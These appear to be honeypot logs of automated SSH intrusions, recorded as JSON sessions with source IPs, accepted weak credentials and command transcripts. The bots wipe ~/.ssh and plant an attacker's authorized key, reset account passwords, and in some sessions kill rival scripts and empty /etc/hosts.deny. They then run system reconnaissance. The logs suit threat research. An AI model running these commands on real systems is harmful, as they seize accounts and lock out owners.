{"id":"73362dea-c90c-4f58-a277-db9665c8c86d","name":"cobalt-tidal-egret","protocol":"ssh","channel_kind":"exec","src_ip":"187.51.208.158","src_port":33235,"username":"mars","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":444,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:35:02.320364+00:00","ended_at":"2026-08-26T18:35:02.981268+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2046,"events":[{"seq":1,"at":"2026-08-26T18:34:48.633663+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:34:49.058327+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:34:53.762259+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:34:53.762778+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:34:54.207327+00:00","kind":"input","latency_ms":null,"data":"echo -e \"mars@123\\noHZaPk871RDp\\noHZaPk871RDp\"|passwd|bash"},{"seq":6,"at":"2026-08-26T18:34:54.644517+00:00","kind":"input","latency_ms":null,"data":"echo \"mars@123\\noHZaPk871RDp\\noHZaPk871RDp\\n\"|passwd"},{"seq":7,"at":"2026-08-26T18:34:55.088216+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:34:55.089067+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:34:55.540592+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:34:56.139773+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:34:56.587468+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:34:57.139362+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:34:57.584321+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:34:57.584752+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T18:34:58.023656+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:34:58.024613+00:00","kind":"output","latency_ms":null,"data":" 18:34:58 up 6 days, 15:25, 0 user, load average: 0.15, 0.14, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:34:58.473699+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:34:58.474198+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:34:58.917603+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:34:58.918239+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:34:59.365967+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:34:59.366806+00:00","kind":"output","latency_ms":null,"data":"top - 18:34:59 up 6 days, 15:25, 0 user, load average: 0.15, 0.14, 0.13\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:34:59.803472+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:34:59.803942+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:35:00.244704+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:35:00.245206+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:35:00.690191+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:35:00.690730+00:00","kind":"output","latency_ms":null,"data":"mars"},{"seq":29,"at":"2026-08-26T18:35:01.136408+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:35:01.888821+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:35:02.321218+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:35:02.847698+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mars","password":"mars@123","method":"password","accepted":true,"tier":"other"}]} {"id":"e5bbe61c-4330-4c76-b8b7-169e1a52688c","name":"wistful-solemn-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":58454,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":540,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:28:31.967852+00:00","ended_at":"2026-08-26T18:28:33.184528+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T18:28:09.032537+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:28:09.573275+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:28:15.120861+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:28:15.842248+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:28:16.408000+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6bEgnKEJUxTj\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:28:16.959838+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:28:17.502089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:28:17.759248+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:28:18.300294+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:28:19.482881+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:28:20.019645+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:28:20.920613+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:28:21.453111+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:28:22.128931+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:28:22.669863+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:28:23.544588+00:00","kind":"output","latency_ms":null,"data":" 18:28:23 up 6 days, 15:18, 0 user, load average: 0.11, 0.1, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:28:24.086479+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:28:24.345618+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:28:24.888646+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:28:25.348839+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:28:25.878477+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:28:26.555134+00:00","kind":"output","latency_ms":null,"data":"top - 18:28:26 up 6 days, 15:18, 0 user, load average: 0.11, 0.1, 0.08\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:28:27.096177+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:28:27.518640+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:28:28.054877+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:28:28.450805+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:28:28.981951+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:28:29.307333+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:28:29.876951+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:28:31.434039+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:28:31.969221+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:28:33.013680+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345qwerty","method":"password","accepted":true,"tier":"other"}]} {"id":"489fe293-0c72-4ce4-ad63-285e100aebb5","name":"primal-indigo-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":52828,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":512,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:25:33.989776+00:00","ended_at":"2026-08-26T18:25:35.452780+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T18:25:10.562546+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:25:11.090608+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:25:16.576586+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:25:17.414709+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:25:17.928805+00:00","kind":"input","latency_ms":null,"data":"echo \"root:h3ecXmpIpd9V\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:25:18.439779+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:25:18.947946+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:25:19.553801+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:25:20.066213+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:25:21.165402+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:25:21.679048+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:25:23.005941+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:25:23.522263+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:25:24.403519+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:25:24.917204+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:25:25.517677+00:00","kind":"output","latency_ms":null,"data":" 18:25:25 up 6 days, 15:15, 0 user, load average: 0.13, 0.14, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:25:26.029761+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:25:26.526617+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:25:27.036608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:25:27.301055+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:25:27.814888+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:25:28.073511+00:00","kind":"output","latency_ms":null,"data":"top - 18:25:28 up 6 days, 15:15, 0 user, load average: 0.13, 0.14, 0.12\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:25:28.584372+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:25:29.483453+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:25:29.995190+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:25:30.656491+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:25:31.167283+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:25:31.810189+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:25:32.321277+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:25:33.477882+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:25:33.990635+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:25:35.294511+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"121","method":"password","accepted":true,"tier":"other"}]} {"id":"0c527c33-e864-4482-b126-9d9487034a67","name":"wandering-whispering-puffin","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":52410,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":534,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:22:37.007494+00:00","ended_at":"2026-08-26T18:22:38.014476+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2265,"events":[{"seq":1,"at":"2026-08-26T18:22:15.281862+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:22:15.813537+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:22:20.257699+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:22:20.918523+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:22:21.459599+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin@123456\\nZYduTwm7r76K\\nZYduTwm7r76K\"|passwd|bash"},{"seq":6,"at":"2026-08-26T18:22:22.000496+00:00","kind":"input","latency_ms":null,"data":"echo \"admin@123456\\nZYduTwm7r76K\\nZYduTwm7r76K\\n\"|passwd"},{"seq":7,"at":"2026-08-26T18:22:22.530990+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:22:23.124903+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:22:23.661091+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:22:24.924897+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:22:25.458960+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:22:26.648611+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:22:27.193098+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:22:27.615777+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:22:28.147580+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:22:28.428268+00:00","kind":"output","latency_ms":null,"data":" 18:22:28 up 6 days, 15:12, 0 user, load average: 0.19, 0.17, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:22:28.953469+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:22:29.348278+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:22:29.887312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:22:30.317540+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:22:30.852483+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:22:31.634964+00:00","kind":"output","latency_ms":null,"data":"top - 18:22:31 up 6 days, 15:12, 0 user, load average: 0.19, 0.17, 0.22\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:22:32.191733+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:22:32.901437+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:22:33.436415+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:22:33.802669+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:22:34.334828+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:22:34.872677+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-26T18:22:35.400870+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:22:36.480901+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:22:37.008409+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:22:37.839986+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"admin@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"01030d1d-e31f-407f-81e3-04200798ba22","name":"daring-humble-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":56538,"username":"frontend","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:19:41.005370+00:00","ended_at":"2026-08-26T18:19:42.106771+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-26T18:19:18.946641+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:19:19.488734+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:19:24.209265+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:19:24.609351+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:19:25.134466+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nqo04EoGicUcW\\nqo04EoGicUcW\"|passwd|bash"},{"seq":6,"at":"2026-08-26T18:19:25.677711+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nqo04EoGicUcW\\nqo04EoGicUcW\\n\"|passwd"},{"seq":7,"at":"2026-08-26T18:19:26.227912+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:19:27.013919+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core 